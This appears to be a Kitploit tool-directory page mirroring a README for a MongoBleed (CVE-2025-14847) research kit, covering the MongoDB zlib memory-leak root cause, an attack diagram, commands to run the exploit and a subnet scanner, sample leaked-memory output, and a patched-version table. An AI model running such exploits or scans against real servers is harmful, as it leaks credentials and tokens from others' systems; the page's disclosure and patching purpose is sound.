Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
mongobleed-exploit-CVE-2025-14847 — Explot, Lab, Scanner - external and docker container, for SMongobleed-CVE-2025-14847 plus phoenix security uploader | Kitploit
Tools/GitHubGitHub/franksec42/mongobleed-exploit-cve-2025-14847
Container SecurityMemory ForensicsVulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & EducationDatabase SecurityLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubfranksec42/mongobleed-exploit-cve-2025-14847

mongobleed-exploit-CVE-2025-14847

Explot, Lab, Scanner - external and docker container, for SMongobleed-CVE-2025-14847 plus phoenix security uploader

View Repository
3116 months agoNot yet reviewed

🩸 MongoBleed - CVE-2025-14847 Security Research Lab

MongoBleed Logo

CVE-2025-14847 | CVSS 8.7 (High) | Unauthenticated Memory Disclosure


CVE-2025-14847, dubbed MongoBleed, allows unauthenticated remote attackers to exfiltrate uninitialised heap memory by exploiting MongoDB's zlib decompression logic. This high-severity flaw exposes sensitive artifacts, including plain-text credentials and session tokens, providing a road map for lateral movement and full server takeover.

📖 Full Documentation →


TL;DR for Engineering Teams

AspectDetails
What is vulnerableMongoDB Server network transport layer using zlib compression
SeverityHigh (CVSS 8.7/7.5)
ImpactUnauthenticated, remote disclosure of uninitialised heap memory
Why it mattersLeaked fragments contain database passwords, AWS secret keys, and internal server states
Exploit statusPublic Proof-of-Concept (PoC) "mongobleed" is validated and circulating
What to do todayUpgrade to patched versions immediately or disable zlib compression

Exposure Scale

  • 87,000 - 194,000 MongoDB instances publicly exposed
  • 42% of cloud environments affected (Wiz Research)
  • No authentication required - exploits pre-auth

🔬 Vulnerability Anatomy

Technical Analysis

The vulnerability exists in MongoDB's network transport layer (message_compressor_zlib.cpp) where a critical flaw in the zlib decompression logic allows unauthenticated attackers to leak sensitive server memory.

Root Cause

root@kitploit:~
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ Returns ALLOCATED buffer size

// PATCHED CODE (after fix)  
counterHitDecompress(input.length(), output.length());
return length;             // ✅ Returns ACTUAL decompressed data length

Exploitation Flow

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        MongoBleed Attack Vector                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   ATTACKER                         VULNERABLE MongoDB                        │
│      │                                    │                                  │
│      │  1. Send OP_COMPRESSED message     │                                  │
│      │     uncompressedSize: 8192 (LIE)   │                                  │
│      │     actual data: ~100 bytes        │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. Allocate 8192-byte buffer                 │
│      │                          3. Decompress ~100 bytes                     │
│      │                          4. BUG: Return buffer.length() = 8192        │
│      │                          5. BSON parser reads uninitialized memory    │
│      │                                    │                                  │
│      │  6. Error response with leaked     │                                  │
│      │     memory as "field names"        │                                  │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 LEAKED DATA:                         │                                  │
│      - API keys, passwords, tokens                                           │
│      - MongoDB internal state                                                │
│      - WiredTiger storage configs                                            │
│      - System /proc information                                              │
│      - Client connection data                                                │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

Affected Versions

Discovery Timeline

DateEvent
15 Dec 2025Vulnerability identified; internal ticket SERVER-115508
19 Dec 2025

📁 Project Structure

root@kitploit:~
mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 Exploit Lab
│   ├── docker-compose.yml      # Vulnerable + Patched MongoDB instances
│   ├── mongobleed.py           # Memory leak exploit PoC
│   ├── init/init-mongo.js      # Sensitive test data
│   ├── test-exploit.sh         # Lab test script
│   └── README.md               # Lab documentation
│
├── scanner/                    # 🌐 Network Scanner
│   ├── mongobleed_scanner.py   # IP/domain vulnerability scanner
│   ├── sample-targets.txt      # Sample targets file
│   └── README.md               # Scanner documentation
│
├── code-scan/                  # 📂 Code Scanner
│   ├── main.py                 # CLI entry point
│   ├── scanners/               # Docker, Python, Infra scanners
│   ├── models/                 # Finding, Vulnerability models
│   ├── integrations/           # Phoenix Security upload
│   └── README.md               # Code scanner documentation
│
└── original-exploit/           # 📚 Original PoC reference

🚀 Quick Start

1. Exploit Lab

root@kitploit:~
cd exploit

# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10

# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017

# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018

# Full lab test
./test-exploit.sh

2. Network Scanner

root@kitploit:~
cd scanner

# Scan single host
python3 mongobleed_scanner.py 192.168.1.100

# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24

# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

3. Code Scanner

root@kitploit:~
cd code-scan

# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project

# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# Run tests
python3 main.py test

⚡ Quick Commands

root@kitploit:~
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10

# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017

# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018

# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .

# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json

# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix

📊 Output Examples

Exploit Output

root@kitploit:~
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42

[!] Potential secrets detected:
    • RSA Private Key
    • Lab Secret

Network Scanner Output

root@kitploit:~
[*] Scanning 254 targets with 10 threads...

[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]

SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts:       12
MongoDB instances:     8
VULNERABLE:            3

Code Scanner Output

root@kitploit:~
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================

🚨 VULNERABLE MONGODB VERSIONS DETECTED

1. [email protected]
   File: /project/docker-compose.yml
   Type: docker-compose
   Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
   ✅ Upgrade to: 8.2.3
   CVE: CVE-2025-14847

🔗 Phoenix Security Integration

All scanners support uploading findings to Phoenix Security platform:

root@kitploit:~
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud

# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix

🔐 Security Notice

⚠️ IMPORTANT: This toolkit is provided for authorized security testing and research purposes only.

  • Only test systems you own or have explicit written permission to test
  • Unauthorized access to computer systems is illegal
  • Leaked data may contain sensitive information - handle responsibly
  • Report vulnerabilities through proper disclosure channels

📚 Documentation

🔗 External References

  • OX Security Advisory
  • MongoDB Fix Commit
  • NVD Entry - CVE-2025-14847

👤 Credits

  • Original exploit by Joe Desimone (@dez_)
  • Lab environment and scanner enhancements for security research

📄 License

For authorized security testing only. Use responsibly.


Last Updated: December 2025

Download Tool
VersionVulnerable RangeFixed VersionStatus
8.2.x8.2.0 - 8.2.28.2.3✅ Patched
8.0.x8.0.0 - 8.0.168.0.17✅ Patched
7.0.x7.0.0 - 7.0.277.0.28✅ Patched
6.0.x6.0.0 - 6.0.266.0.27✅ Patched
5.0.x5.0.0 - 5.0.315.0.32✅ Patched
4.4.x4.4.0 - 4.4.294.4.30✅ Patched
4.2.xAll versionsNone⚠️ EOL
4.0.xAll versionsNone⚠️ EOL
3.6.xAll versionsNone⚠️ EOL
Fix released, CVE-2025-14847 disclosed
24 Dec 2025MongoDB Atlas fleet patched
26 Dec 2025Public PoC "mongobleed" released
28 Dec 2025Exploitation observed in the wild
DocumentDescription
DOCUMENTATION.mdComplete project documentation
TECHNICAL_ANALYSIS.mdIn-depth vulnerability analysis
QUICK_COMMANDS.mdCopy-paste ready commands
exploit/README.mdExploit lab documentation
scanner/README.mdNetwork scanner documentation
code-scan/README.mdCode scanner documentation